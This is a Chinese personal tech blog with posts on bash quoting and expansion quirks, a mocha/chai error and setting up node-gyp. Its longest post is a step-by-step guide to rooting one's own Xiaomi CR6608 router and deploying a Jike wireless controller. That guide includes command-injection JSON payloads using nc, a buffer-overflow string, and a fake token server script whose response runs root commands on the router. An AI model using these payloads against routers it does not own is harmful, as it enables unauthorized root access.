Liangziye

深入浅出不如不进不出

0%

环境

1
2
ipv4_pattern="((1[0-9][0-9]\.)|(2[0-4][0-9]\.)|(25[0-5]\.)|([1-9][0-9]\.)|([0-9]\.)){3}((1[0-9][0-9])|(2[0-4][0-9])|(25[0-5])|([1-9][0-9])|([0-9]))"
[[ "192.168.2.1" =~ "${ipv4_pattern}" ]] && echo "yes"

复现

结果没有输出yes,正则表达式无法匹配192.168.2.1

解决

bash测试条件中的正则表达式不能使用引号包围起来,不管是字面量字符串还是变量都不允许带引号。

在测试条件中=~的右侧必须处于没有引号的状态,正则表达式才会起效果,否则会将正则表达式当成普通字符串去与左侧字符串相比较。

1
2
3
4
ipv4_pattern="192.168.2.1"
[[ "192.168.2.1" =~ "${ipv4_pattern}" ]] && echo "yes"

# yes

扩展触发条件

如果一个token以波浪线~开头,以第一个没有被转义或者引用的斜杠/token的末尾结束,且中途的字符都没有被引用,那这一段称为波浪线前缀tilde prefix,在波浪线前缀中不包含波浪线和斜杠的部分在波浪线扩展中被称之为登录名login name

1
2
3
4
5
6
7
8
~     #登录名为空
~root #登录名为root
~foo #登录名为foo
~foo/tmp # 登录名为foo
~foo/'t'mp #登录名为foo
a~foo #不扩展,token没有以波浪线开头
~\foo #不扩展,因反斜杠不存在波浪线前缀
~f'o'o #不扩展,因引用不存在波浪线前缀

扩展行为

波浪线前缀会被扩展为登录名所在用户的家目录,如果登录名为空则扩展为当下shell的$HOME即当下用户的家目录。如果登录名所代表的用户不存在,则波浪线前缀保持不变

1
2
3
4
5
echo ~root/tmp
echo ~foo/tmp #没有foo用户
# 输出
# /root/tmp
# ~foo/tmp

如果登录名为+,波浪线前缀会被扩展为$PWD,如果登录名为-,波浪线前缀会被扩展为$OLDPWD$OLDPWD没有被设置则波浪线前缀保持不变。

1
2
3
4
5
6
7
8
9
10
echo ~- #此时shell的$OLDPWD未被设置
cd ~
cd /tmp
echo ~+
echo ~-

# 输出
# ~-
# /tmp
# /root

如果登录名为+NN,波浪线前缀会被扩展为从目录栈DIRSTACK从栈顶往下第N个目录值,如果登录名为-N则为从栈底往上第N个目录值,N从0开始,如果这个目录值不存在,则波浪线前缀保持不变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
cd /tmp
mkdir dir{0..2} 2>/dev/null
while [ $? -eq 0 ]; do
popd 2>&1 2>/dev/null
done
for dir_name in dir{0..2}; do
cd $dir_name
pushd ../ 2>&1 >/dev/null
done
printf "%s\n" "${DIRSTACK[@]}"
echo
printf "%s\n" ~{0..3}
echo
printf "%s\n" ~+{0..3}
echo
printf "%s\n" ~-{0..3}
echo
printf "%s\n" ~+4

# 输出
# /tmp
# /tmp/dir2
# /tmp/dir1
# /tmp/dir0

# /tmp
# /tmp/dir2
# /tmp/dir1
# /tmp/dir0

# /tmp
# /tmp/dir2
# /tmp/dir1
# /tmp/dir0

# /tmp/dir0
# /tmp/dir1
# /tmp/dir2
# /tmp

# ~+4

触发扩展条件

检测到一对花括号{},并在此内至少存在一个逗号,,或者存在一个有效的序列表达式{x..y[..incr]},花括号和逗号未被反斜杠\转义和未被单引号'双引号"包围,这时满足条件,触发花括号扩展Brace Expansion

1
2
3
4
5
6
7
8
9
10
11
12
echo a{1,2}b     #扩展
echo a{1..2..1}b #扩展
echo a\{1,2'}'b #没有一对花括号,不扩展
echo a{1\,2}b #没有逗号,不扩展
echo a{x..2..1}b #序列表达式无效,不扩展

# 输出
# a1b a2b
# a1b a2b
# a{1,2}b
# a{1,2}b
# a{x..2..1}b

扩展条件有比较特殊的情况,首先,参数扩展模式为${}同样有花括号,所以字符串${不认为是有效的{,不满足触发条件。

1
2
3
4
5
set -- 2    #将参数$1的值设为2
echo ${1,2} #${1,2}不会触发花括号扩展。但也不会报错,原因是在花括号扩展结束之后触发了参数扩展中的小写转换,$1值会去匹配字符2,匹配成功会将其转换为小写,当然2没有小写,即使$1值是2也不会报错,扩展结果就为2

# 输出
# 2

其次特殊的情况,扩展不会发生在参数parameter赋值中

A variable may be assigned to by a statement of the form

1
name=[value]

If value is not given, the variable is assigned the null string. All values undergo tilde expansion, parameter and variable expansion, command substitution, arithmetic expansion, and quote removal

Bash Reference Manual在参数的部分中提到的扩展是没有花括号扩展的

1
2
3
4
5
6
7
str=a{1,2}b #str的值就为a{1,2}b
echo a{1,2}b
echo $str #即使在变量中也不会花括号扩展,因为花括号扩展在参数扩展之前

# 输出
# a1b a2b
# a{1,2}b

扩展行为

逗号情况中,会将逗号视作分隔符,扩展为花括号中被分割的每一项,如果逗号在首位也是会分割的,分割得到空值。扩展的顺序为花括号内顺序,不会主动进行排序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo a{1,2}b
echo a{,1,2,}b


# 输出:
# a1b a2b
# ab a1b a2b ab
# a1b a2b a3b a4b a5b a6b
# a1b a2b a3b a4b a5b a6b
# a1b a3b a5b
# a1b a4b
# a1b a5b
# acb adb aeb afb
# acb aeb

{x..y[..incr]}为序列表达式,xy可为整数或者字母,可选值incr为整数作用与xy之间的增量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
echo a{1..6}b
echo a{1..6..1}b
echo a{1..6..2}b
echo a{1..6..3}b
echo a{1..6..4}b
echo a{c..f}b
echo a{c..f..2}b

# 输出:
# a1b a2b a3b a4b a5b a6b
# a1b a2b a3b a4b a5b a6b
# a1b a3b a5b
# a1b a4b
# a1b a5b
# acb adb aeb afb
# acb aeb

扩展中的特殊符号

如果花括号内逗号分割的是带反斜杠转义或者单双括号包围起来的元字符metacharater,那么就当字面意义上的字符对待,保留字reserved words同理

1
2
3
4
5
6
7
echo {\|,\&,\;,\(,\),\ ,$'\t',$'\n','<',\>}
echo {while,for,[,],!} #保留字

# 输出
# | & ; ( )
# < >
# while for [ ] !

由于$不是元字符,只要后面不跟{它在花括号扩展中只是一个字面意义上的普通字符

1
2
3
4
5
6
7
8
9
10
a='Im a'
b='Im b'

echo {$a,$b,Im\ $,Im\ \$\ too} #花括号扩展为$a,$b,Im $,Im \$ too,再之后被参数扩展为各个值
{echo,$a} #花括号扩展为echo $a


# 输出
# Im a Im b Im $ Im $ too
# Im a

环境

1
2
3
4
5
test() {
local cmd="some cmd......."
local opt="-p 1 -o ''"
${cmd} ${opt}
}

复现

-o选项期望接受到空值。

test函数被执行后,命令的-o选项接受的参数不是空值,而是两个单引号''

如果修改为两个双引号""

1
local opt="-o """

命令的-o选项接受的参数是两个双引号"",也不是空值。

给单双引号加反斜杠转义也没有用,依然没有成功接受到空值。

解决

在bash中字符串拼接容易引发各种问题,需要熟悉bash解析脚本时对单词的分割和引号的处理才能避免,这时候应该使用数组来保存传递参数而不是字符串。

1
2
3
4
local opt=(
-p 1
-o ""
)

添加选项以及参数通过增加数组元素来添加

1
opt+=(-dn 1)

传递给命令时使用@来展开数组,同时使用双引号将数组变量括起来

1
"${cmd}" "${opt[@]}"

前言

本文记录了从无到有将CR6608从官方固件刷成集客AP,并在局域网中安装集客软AC的完整过程,仅仅是本人自身实践的回顾和对刷机原理的总结,因环境存在差异,刷机有风险,如需使用请谨慎参照本文,不可照搬。另外,CR660X的刷机到现在已经非常普遍非常简单了,所有资料所有知识都来自于各个博客和论坛相关帖子,文中的操作全都可以通过搜索引擎搜索得到。

CR6606/CR6608/CR6609/TR608各型号的区别不在下文实践范围内,其中的差异需要搜索其他资料来确定。下文所有操作都基于CR6608、所有提到的“路由器”都特指CR6608。

当前环境:

  • CR6608为移动的1.0.23版本,双频WIFI开启但不合并,SSID和密码默认与机器背部贴纸上一致,工作模式为“普通路由工作模式”,DHCP开启,局域网IP为默认即192.168.10.1

必要环境

  • CR6608为运营商官方固件,其版本必须足够低,若是高版本建议先刷为低版本。

启用路由器的SSHD

利用漏洞向路由器注入命令,启用路由器的sshd。

下文中所有实践的方法都是需要登录路由器管理页面的,登录成功后保持管理页面不要关闭,在地址栏获得stok参数的值,有了它就可以请求路由器的api了。api通常为: http://[浏览器ip]/cgi-bin/luci/;stok=[stok值]/api/xxxxxxx/xxxxxxxx,下文中所有提到的api都简写为/api/xxxxxxx/xxxxxxxx。下文中提到的Rooting Xiaomi WiFi Routers文章也讨论了不需要stok值即不需要登录管理页面的相关漏洞,但它不在本文实践范围之内。

利用smartcontroller漏洞

利用这个漏洞的前提是路由器开启smartcontroller,如果没有开启就发起请求会得到Internal Server Error的响应,开启smartcontroller需要使用api:/api/misystem/set_sys_time来设定系统时间,这个api接受一个名为time的参数,把值设为2023-2-19 23:4:47&timezone=CST-8即可开启smartcontroller。这个请求为GET请求。

Rooting Xiaomi WiFi Routers文章中,有一个关于smartcontroller的注入漏洞,对于api:/api/xqsmarthome/request_smartcontroller,接受一个名为payload的参数,文章内已经为我们构造了这个参数的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"command":"scene_setting",
"name":"it3",
"action_list":[
{
"thirdParty":"xmrouter",
"delay":17,
"type":"wan_block",
"payload":
{
"command":"wan_block",
//注入。方式一。路由器会执行nc 192.168.31.161 4242
"mac":";nc 192.168.31.161 4242;#"
}
}
],
"launch":
{
"timer":
{
"time":"2:2",
"repeat":"0",
"enabled":true
}
}
}

上面json中的mac值就是注入的地方,有多种方式可以注入,路由器会以root执行注入的命令

1
2
3
4
//方式一。路由器会执行nc 192.168.31.161 4242
"mac":";nc 192.168.31.161 4242;#"
//方式二。利用栈缓冲区溢出,此种方式不合适命令注入)
"mac":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%de%ad%be%ef"

mac值之外,name值也能注入

1
2
//方式三。路由器会执行nc 192.168.31.161 4242
"name":"'$(nc 192.168.31.98 4242)'"

向路由器这个api发送带着上文payload的POST请求之后,我们再向这个api发送另一个POST请求带着下面的payload即可触发命令的执行:

1
2
3
4
5
{
"command":"scene_start_by_crontab",
"time":"2:2",
"week":0
}

可以使用任何工具发起POST请求带上字段为payload的参数即可,切记每一次发送了带注入命令的payload之后,需要接着发送上文中第二个payload才能触发命令的执行。

关于有关启用sshd的命令,路由器的sshd服务端为dropbear,需要执行的命令为:

1
2
3
4
5
sed -i s/release/XXXXXX/g /etc/init.d/dropbear
nvram set ssh_en=1
nvram commit
/etc/init.d/dropbear enable
/etc/init.d/dropbear restart

以下是有关此漏洞开启sshd的现成命令与工具:

mphin/miwifi_tools使用curl发送请求,只需要替换掉README中的每一条curl命令中的路由器IP和stok值,一条条按顺序执行即可。需要强调的是powershell中的curl命令实际上为Invoke-WebRequest的别名,如需在powershell中使用真正的curl需要调用curl.exe而不是curl;开启sshd后,root账户的密码可以先试试管理页的登录密码,如果不对需要计算得到Xiaomi Router Developer Guide & Tools

【教程】小米 AX3000/AX3600/AX9000/万兆路由器/AC2100/AC2350/AX1800/AX5400 开启SSH-小米无线路由器及小米网络设备-恩山无线论坛详细地写了使用curl开启sshd的教程;

最后,项目openwrt-xiaomi/xmir-patcher包含了开启sshd的功能,也有刷bl等其他功能但我没有在路由器上尝试。这个项目在使用上简单友好,有菜单,有交互输入,clone下来运行并按菜单指示操作就可以了。注意,根据交互输出的提示,此项目已经把root账户密码重置为了root。

1
2
3
4
5
6
git clone https://github.com/openwrt-xiaomi/xmir-patcher.git
cd xmir-patcher
#windows下执行!START.bat
.\!START.bat
#linux下执行run.sh 需要python 3.8+和openssl
./run.sh

环境没有安装git可以直接下载项目解压执行。

利用小米换机漏洞

利用这个漏洞的方法是让路由器连上一个wifi,此wifi必须满足在子网内没有DHCP服务,同时在子网内存在IP为169.254.31.1的主机,CR6608可以ping通此主机。

原理是当路由器没有被DHCP分配IP时会把自己的IP设为169.254.31.2,此时任意一台电脑向路由器请求/api/xqsystem/oneclick_get_remote_token会使路由器向169.254.31.1请求/api/xqsystem/token,路由器收到169.254.31.1的响应后,会执行包含在响应中名为token字段的值里面的任何命令,所以只要把开启sshd的命令写在这个值内,路由器即可开启sshd。

利用小米换机漏洞的步骤比较繁杂,暂时没有找到一键式的工具,各个帖子利用此漏洞所采取的操作也八仙过海,从效率和使用的角度来看,应该尽量利用smartcontroller漏洞来开启sshd。

准备:

  • 两台电脑,其中一台电脑可以安装虚拟机,有无线网卡能开启移动热点,定义为电脑A,另外一台定义为电脑B。
  • 路由器关闭双频合一,2.4G的WIFI开启。

电脑A安装VirtualBox

windows系统有winget可直接在终端使用winget安装,过程不短,中途有可能会多次断网和黑屏,需要耐心等待,安装完最好重启电脑A。

1
winget install --id Oracle.VirtualBox

没有winget或者其他系统可用其他包管理器安装或者直接在官网Downloads – Oracle VirtualBox下载安装。

也可以用其他虚拟机软件,如VM等。

下载OpenWrt固件,将img格式的固件转换为VirtualBox的vdi格式文件,在VirtualBox中安装新建虚拟机

官网下载合适的固件,此处用的固件是openwrt-22.03.5-x86-64-generic-ext4-combined-efi.imgcd到VirtualBox根目录中,使用根目录下的vboxmanage转换固件的文件格式:

1
.\vboxmanage.exe convertfromraw "输入的img文件路径" "输出的vdi文件路径" -format VDI

得到vdi格式的文件后,打开VirtualBox新建虚拟机,将vdi文件作为此虚拟机的虚拟硬盘。

踩坑:

一开始选择了24版本的OpenWrt,安装后发现目录有些变化,找不到LuCI的controller,为了节省时间直接使用电脑里很久之前下载好的22版本。

官网下载的文件格式是gz,我在windows上用7z解压报错,找不到原因后无奈移动它到debian上用gzip -d xxxx.gz解压。

新建虚拟机完成后无法启动虚拟机,报错error in supR3HardenedWinReSpawn,原因是服务没有安装成功,需要右键菜单安装VirtualBox根目录下的.\drivers\vboxsup\VBoxSup.inf再重启电脑A。

启动OpenWrt虚拟机,新建lua脚本,关闭LAN接口的DHCP,修改LAN接口的IP地址为169.254.31.1,掩码为255.255.255.0

为了方便修改OpenWrt的配置,暂时先从VirtualBox的控制台使用终端修改OpenWrt的LAN口IP为与当前电脑网络相同网段,这里电脑A是192.168.2.135/24,所以可以把OpenWrt的LAN口IP暂时先设置为这个网段下没有其他设备使用的IP如192.168.2.136。具体操作:双击虚拟机启动后弹出VirtualBox的控制台,在控制台编辑文件:vim /etc/config/network,修改interface lan下面的option ipaddr处的IP。修改完成重启网卡:/etc/init.d/network restart或重启系统:reboot。同时在VirtualBox处将OpenWrt虚拟机的网络改为桥接,桥接对象为电脑A当前正在上网的网卡,此时电脑A就能连接上虚拟机了,试试ping 192.168.2.136是否ping通。从windows终端处ssh连接它和使用浏览器登录webui都能更方便管理和修改配置。(这一步其实是完全多余的,当然也可以不做,下文操作以任意方式连上OpenWrt都可以完成)

在电脑A上使用终端ssh进OpenWrt,在/usr/lib/lua/luci/controller/admin/下新建一个名为xqsystem.lua的脚本,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
module("luci.controller.admin.xqsystem", package.seeall)


function index()
local page = node("api")
page.target = firstchild()
page.title = ("")
page.order = 100
page.index = true
page = node("api","xqsystem")
page.target = firstchild()
page.title = ("")
page.order = 100
page.index = true
entry({"api", "xqsystem", "token"}, call("getToken"), (""), 103, 0x08)
end

local LuciHttp = require("luci.http")

function getToken()
local result = {}
result["code"] = 0
result["token"] = "; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;"
LuciHttp.write_json(result)
end

浏览器访问192.168.2.135进入OpenWrt的webui,默认密码为空。点击“Network”-“Interface”-Edit”修改lan接口,在“General Settings”下修改ipv4地址为169.254.31.1,子网掩码为255.255.255.0,在“DHCP Server”选项卡下,勾选“General Setup”下的“Ignore interface”,取消勾选“Advanced Settings”下的“Dynamic DHCP”。点击“Save”保存,点击“Save & Apply”应用。修改完这些配置之后,电脑A是连不上OpenWrt的,为了不出现莫名其妙的问题,此时可以在VirtualBox重启一下OpenWrt。

踩坑:

单单通过勾选“Ignore interface”来禁用DHCP无法应用配置,再加上取消勾选“Dynamic DHCP”就可以了。

开启电脑A的移动热点,将OpenWrt虚拟机的网络桥接到热点的虚拟网卡上,通过取消热点虚拟网卡的IP协议来完全禁用DHCP

windows需要连接任意的WIFI才能打开移动热点,连接任意WIFI打开移动热点后,在设置中修改好热点的SSID和密码,“共享我的Internet连接”选WLAN,关闭“节能”选项避免操作过程中热点自动关闭。在控制面板中的“网络和Internet”中的“网络连接”,对热点的虚拟网卡右键属性,取消勾选“Internet协议版本4”和“Internet协议版本6”,点击层层确定按钮以完全关闭这些设置窗口以避免设置不生效。最后再到VirtualBox将OpenWrt的网络桥接对象改为此热点的虚拟网卡。至此,任何连上电脑A热点的设备都能连上OpenWrt虚拟机。

踩坑:

最开始我选择开启CR6608的SSH方案是在电脑A起一个Nginx而不是虚拟机,但是我发现将热点的IP设置为169.254.31.1并取消无线网卡的共享以达到禁用DHCP的目的的时候,CR6608连接电脑A热点总是不成功,虽然最初的十几秒WIFI已经连上,在OpenWrt也是可以ping通169.254.31.2的,但是WIFI最终会断掉,断掉后在电脑B的浏览器返回“DHCP failed code 1619”。其次我尝试过不使用热点而是第三方旧路由器方案,依然会报这个错,也许跟我电脑A的网络拓扑和DHCP没有成功禁用有关系。

电脑B连接路由器,进入路由器的web管理界面,复制浏览器地址栏URL参数中的stok值备用

路由器通电,电脑B网线连接路由器的LAN口,电脑B的网卡IP地址设置为与路由器LAN口IP同一网段,这里设置为192.168.10.34。若电脑B用无线连接路由器,则要确保路由器的双频没有合一,并且只连接其5G的WIFI,因为2.4G在后续需要连接电脑A的热点,同时也要记得修改无线网卡的IP。浏览器输入路由器的IP地址即192.168.10.1,进入管理界面后复制浏览器地址栏URL参数中的stok值备用。注意!电脑B中的管理界面不能关掉,浏览器不能关掉,不能断开与路由器的连接,以此来保证stok值不发生变化。

CR6606/CR6608/CR6609默认IP分别为:192.168.31.1、192.168.10.1、192.168.2.1

在电脑B浏览器访问路由器的api:/api/misystem/extendwifi_connect,使路由器去连接电脑A的热点

在电脑B开启一个新的浏览器标签页或窗口,访问以下替换掉“路由器IP”、“stok值”、“热点名称”、“热点密码”的链接:

1
http://路由器IP/cgi-bin/luci/;stok=stok值/api/misystem/extendwifi_connect?ssid=热点名称&password=热点密码

稍加等待,成功会返回一个code为0的json值{"msg":"connect succces!","code":0}。题外话,貌似开发人员在这里有拼写错误,我的路由器的确返回的是“succces”。

踩坑:

坑太多了,这里成功需要完全保证169.254.31.1的设备或者这个子网内不小心连上的其它设备都关闭DHCP,以确保CR6608在没有被分配IP的情况下将自己IP设置为169.254.31.2——所以为避免冲突整个子网也不能有IP为169.254.31.2的占用。我尝试的其他方案大多数都在这一步报了1619的错,唯一有一次在第三方旧路由方案中,我尝试各种接法中的一种,成功返回了code0,但是我已经忘记了它是怎么接的了,而且跟连上电脑A热点的DHCP是否是真的关掉了有非常大的关系。像上文提到的,CR6608并不是连不上热点,而是连上了热点不久又自己断掉才返回的1619报错。

在电脑B浏览器访问api:/api/xqsystem/oneclick_get_remote_token使路由器触发小米换机的漏洞,以此来开启SSHD

在电脑B开启一个新的浏览器标签页或窗口,访问以下替换掉“路由器IP”、“stok值”的链接:(链接中的username以及其他参数的值都不要改,它就是xxx)

1
http://路由器IP/cgi-bin/luci/;stok=stok值/api/xqsystem/oneclick_get_remote_token?username=xxx&password=xxx&nonce=xxx

稍加等待,成功一样会返回一个code为0的json值{"token":"..........","code":0}。至此,路由器的sshd已经成功开启,不要断掉连接也不要重启路由器,因为sshd没有固化。

刷PB-BOOT

在电脑B上使用scp或者winscp等工具传PB-BOOT的img文件进路由器,在电脑B的终端上使用SSH登录路由器,刷入PB-BOOT

在电脑B上打开winscp,协议选择scp,IP地址填写路由器的地址即192.168.10.1,用户名是root,密码是机器背部贴纸的密码也就是管理页面的管理员密码。

winscp进入路由器后,将提前准备好的PB-BOOT的img文件传送进路由器内,一般选择/tmp目录。

接着,在终端上使用ssh进入路由器:

1
ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.10.1

成功进去之后,刷PB-BOOT:

1
mtd write /tmp/pb-boot.img Bootloader

运行完之后重启:

1
reboot

至此,PB-BOOT刷完,重启机器稍微等待一会,拔掉路由器的电源,用取卡针或者牙签顶住路由器的reset按钮不松开,再接上路由器的电源,等待十几秒后松开reset按钮,此时路由器开机进入PB-BOOT。把电脑B的网卡改成192.168.1.0/24网段的,例如192.168.1.34,子网掩码改为255.255.255.0,就可以在电脑B上通过浏览器里访问192.168.1.1进入PB-BOOT。

踩坑:

winscp中协议不选scp会被目标拒绝。

其他帖子提到CR6606在刷机之后root密码会变成与MAC/SN相关的密码需要计算才能得到。

ssh不加rsa的参数去连接路由器如果报no matching host key type found.Their offer:ssh-rsa的错,需要加上-oHostKeyAlgorithms=+ssh-rsa参数,变成ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.10.1

刷BREED改MAC(可选)

刷集客固件之后每次重启MAC都会改变,如果最终目的是刷集客固件的话,需要事先刷BREED去固定MAC再刷会PB-BOOT。如果是刷OpenWrt或者其他固件,此步跳过。

紧接上文,在PB-BOOT的页面上点击选择文件,选择电脑B上实现准备好的BREED的bin文件,点击恢复固件,耐心等待它刷完,点击“进入路由器首页”可以直接进BREED,BREED的IP也是192.168.1.1。点击MAC地址修改,在“LAN MAC”那一行填上机器背部贴纸上的MAC地址,点击“修改”。点击固件更新,勾选“Bootloader”,选择PB-BOOT固件,勾选“自动重启”,点击“上传”,点击“更新”,耐心等待它刷回PB-BOOT。提示成功刷完后,浏览器重新访问192.168.1.1就可以回到PB-BOOT了。

踩坑:

直接用BREED刷集客AP固件,在一些版本上会出现路由器指示灯不亮的问题,这对于CR6608影响非常大,因为它后面的接口也没有指示灯,如果正面的指示灯不亮的话,根本无法判断它是否正常开机。

刷集客AP固件

在PB-BOOT上选择8.0版本的集客固件刷入

在PB-BOOT上选择电脑B上提前准备好的集客固件,固件的型号是AP246ND,版本是8.0,刷入。至此,路由器刷集客AP固件完成。

进入集客AP管理页面

刷完后,集客AP的默认IP地址为6.6.6.6,像上文一样再次修改电脑B网卡的IP地址为6.6.6.6/24网段的IP例如6.6.6.34,就可以进入集客AP的管理页面。

踩坑:

6.1版本的AP246ND固件的管理页面,用Edge浏览器无法登录,在输入密码后进入页面会闪一下便立刻退出,换Chrome没有发现此问题,疑似跟浏览器的插件有冲突。另外7.4版本的AP246ND固件在Edge上打开管理页面一切正常。

小米CR660X(6606/6608/6609) 折腾过程以及刷集客AP测试发现的几个问题-小米无线路由器及小米网络设备-恩山无线论坛看来,有着先刷6.1再更新7.4的操作,原因为:低版本存在射频无信号的BUG,高版本存在开机几分钟便无限重启的BUG,先刷6.1再升7.4可以同时避免这两个BUG。

7.4版本的5G信号启动得非常慢,起初我误以为此版本在路由器上没有5G射频,事实上开机好几分钟之后才能在列表看到5G的SSID。重新刷了7.2版本,此问题同样存在。

目前尝试过的版本:6.4、7.2、7.4、8.0都会在重启后丢失所有配置,所以从实际情况考虑是需要部署一个AC用于下发配置的。

最终选择的8.0集客AP固件是没有free版本的,所以8.0的管理页面会显示未注册——即使刚刷完显示已注册但用一会就会变回未注册。就目前看来,未注册暂时没有对我造成使用上的困扰。

部署集客AC

集客官方直接提供了AC控制器在各平台的二进制文件:文件管理,加上我的主路由环境多年来一直都是ESXi打底上面跑OpenWrt的组合,使得安装软AC的过程畅通无阻。如果主路由没有虚拟化的话,软AC需要考虑其他方案,比如在OpenWrt上跑Docker部署软AC的镜像,或者不考虑软AC,改之为使用一台合适的路由器刷集客对应版本的AC固件。

ESXi创建虚拟机

集客官方在文件管理提供了86、amd64、arm、mips各个平台的文件,选择最熟悉的系统即可。这里安装的是我比较熟悉的Debian,从Debian官网提供的镜像站下载Debian的iso文件debian-12.1.0-amd64-DVD-1.iso

在ESXi上创建一台虚拟机,在设置上,网络适配器:选择的端口组为主路由所在的端口组,或不同端口组但两端口组处于同一个虚拟交换机内,这里显而易见是为了让Debian与主路由所处的网络连通。CD/DVD硬盘驱动器:选择Debian的iso镜像。

启动Debian虚拟机开始安装系统,安装过程中的不要选择任何多余的软件,只需要选择安装SSH就可以了。

虚拟机的基本网络配置

根据集客官方的说明文档:file.cnrouter.com/upload/gac/含登录页面版本(主要用于独立使用)/运行参数说明.txt,需要让AP能访问到6.7.8.9:60650,可选方案一是把Debian的IP静态为6.7.8.9,二是从OpenWrt主路由做一个转发从Debian的IP:端口转发到6.7.8.9:60650。为了考虑方便迁移,减少依赖性,此处选择的前者,直接把Debian静态为6.7.8.9。

修改 /etc/network/interfaces,把Debian当前的网卡ens33设为静态,网关指向OpenWrt主路由。

1
#ipv4 static                                                                     auto ens33                                                                       iface ens33 inet static                                                           address 6.7.8.9                                                                   netmask 255.255.255.0                                                             gateway 192.168.2.1

重启网卡

1
systemctl restart networking

部署集客软AC

下载集客官方提供的文件ac_linux_amd64_V2.2_202503181710到Debian

1
2
3
4
5
cd /etc
mkdir jike
cd ./jike
wget http://file.cnrouter.com/upload/gac/%E5%90%AB%E7%99%BB%E5%BD%95%E9%A1%B5%E9%9D%A2%E7%89%88%E6%9C%AC%EF%BC%88%E4%B8%BB%E8%A6%81%E7%94%A8%E4%BA%8E%E7%8B%AC%E7%AB%8B%E4%BD%BF%E7%94%A8%EF%BC%89/ac_linux_amd64_V2.2_202503181710
chmod +x ac_linux_amd64_V2.2_202503181710

到这里其实就可以直接运行集客AC了,但还可以再做一些工作完善一下。

设置集客AC开机启动

首先我们设置Debian这个虚拟机在宿主机ESXi启动时自动启动,在ESXi虚拟机列表右键Debian弹出菜单点击自动启动,启用它。

在Debian刚刚放集客AC的目录下面再新建一个脚本固定一下ac启动的参数,根据官方的说明file.cnrouter.com/upload/gac/含登录页面版本(主要用于独立使用)/运行参数说明.txt,可选参数非常少并且简单易懂,其间也给出了启动示例,只需要关心-p-mp自定义一下控制器端口和管理页面端口,-f-dbpath 自定义一下上传文件目录和数据库目录即可

1
2
3
cd /etc/jike
touch ac_run.sh
chmod +x ac_run.sh

ac_run.sh写上运行ac_linux_amd64_V2.2_202503181710的命令

1
2
#!/bin/bash
nohup ./ac_linux_amd64_V2.2_202503181710 -p 60650 -mp 80 -f ./upload/ -dbpath ./ -token 1 -lang zh -https 0 -isonlyoneprot 0 >ac_linux_amd64.log&

接着加入开机启动脚本

1
2
3
cd /etc/init.d
touch jike.sh
chmod +x jike.sh

jike.sh写上执行ac_run.sh的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash

### BEGIN INIT INFO
# Provides: jike_ac
# Required-Start: $network $remote_fs $local_fs
# Required-Stop: $network $remote_fs $local_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: run jike ac
# Description: run jike ac
### END INIT INFO

cd /etc/jike
./ac_run.sh

exit 0

加入开机启动,重启一下Debian检查下开机启动是否成功

1
2
update-rc.d jike.sh defaults
reboot

设置AC控制器,下发AP配置

把电脑改为与6.7.8.9同一网段,访问6.7.8.9进入AC控制器的管理页面。管理页面上说明写着“无线AP可以跨VLAN,子网,三层交换机,路由器和防火墙找到本AC”,“在未隔离广播的情况下,子网6.7.8.9/255.255.255.0内的AP可以通过广播的方式自动发现本AC”,“也可以通过在核心交换机上添加一条到6.7.8.9/32,下一跳为6.7.8.9的静态路由来让AP发现本AC”。

按理说,把所有刷好AP固件的路由器LAN口接入到局域网中,网络配置无误的情况下在AC管理页面的无线AP列表会显示出所有AP。

踩坑:

我把路由器接入到局域网中之后,在子网内AC无法发现AP,折腾了一番只能选择去OpenWrt主路由添加一条静态路由。接口选局域网的接口,路由类型选单播,目标填6.7.8.9/32,网关填0.0.0.0。添加这条静态路由之后,不仅6.6.6.6的AP路由器能连通到AC的6.7.8.9,整个局域网都能连通到6.7.8.9了。

在AC控制器管理页面新增模板,设置好WIFI的各个参数,再把模板下发给所有AP路由器即可,接着选择所有AP路由器修改密码,对每台AP单独命名。至此,集客AC部署设置完成。

环境

根目录.mocharc.json

1
2
3
4
5
6
7
8
9
10
{
"require": "ts-node/register",
"spec": "src/test/**/*.ts",
"extension": ["ts"],
"timeout": 5000,
"reporter": "spec",
"slow": 300,
"ui": "bdd",
"recursive": true
}

根目录package.json部分

1
2
3
4
5
6
7
8
9
10
11
12
{
"type": "commonjs",
"scripts": {
"test": "mocha"
},
"dependencies": {
"@types/chai": "^4.3.16",
"@types/mocha": "^10.0.6",
"chai": "^4.4.1",
"mocha": "^10.4.0"
}
}

复现

运行npm run test报错

1
Exception during run: TypeError [ERR_UNKNOWN_FILE_EXTENSION]: Unknown file extension ".ts" for ......................

解决

chai当前5.x版本仅支持纯ESM,而当前项目type为commonjs,安装char的4.x版本即可

1
2
3
npm uninstall @types/chai chai
npm cache clean --force
npm install chai@4 @types/chai@4

相关链接

v5 - Unknown file extension ".ts" when running with mocha · Issue #1568 · chaijs/chai (github.com)

当前环境

  • win10
  • npm v10.7.0
  • node v18.20.3

安装chocolatey

powershell管理员安装:

1
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))

耐心等待,过程涉及到下载,需要一定耗时。

详见官网

安装环境相关

1
choco install python visualstudio2022-workload-vctools -y

详见node-gpy README

npm安装node-gyp

1
npm install -g node-gyp

场景

在win10 VS2022上试了一下调试ProwlarrFlareSolverr,想搞懂为什么docker上跑着的这两容器在某一两个pt站上不能成功过CF的5秒盾,需要抓下包确认下请求头是否设置无误。

尝试

想从VS里面直接抓包,一些旧版VS在性能查看器那里是有关于网络的,从某个版本开始也移除了这个功能,没有网络了。

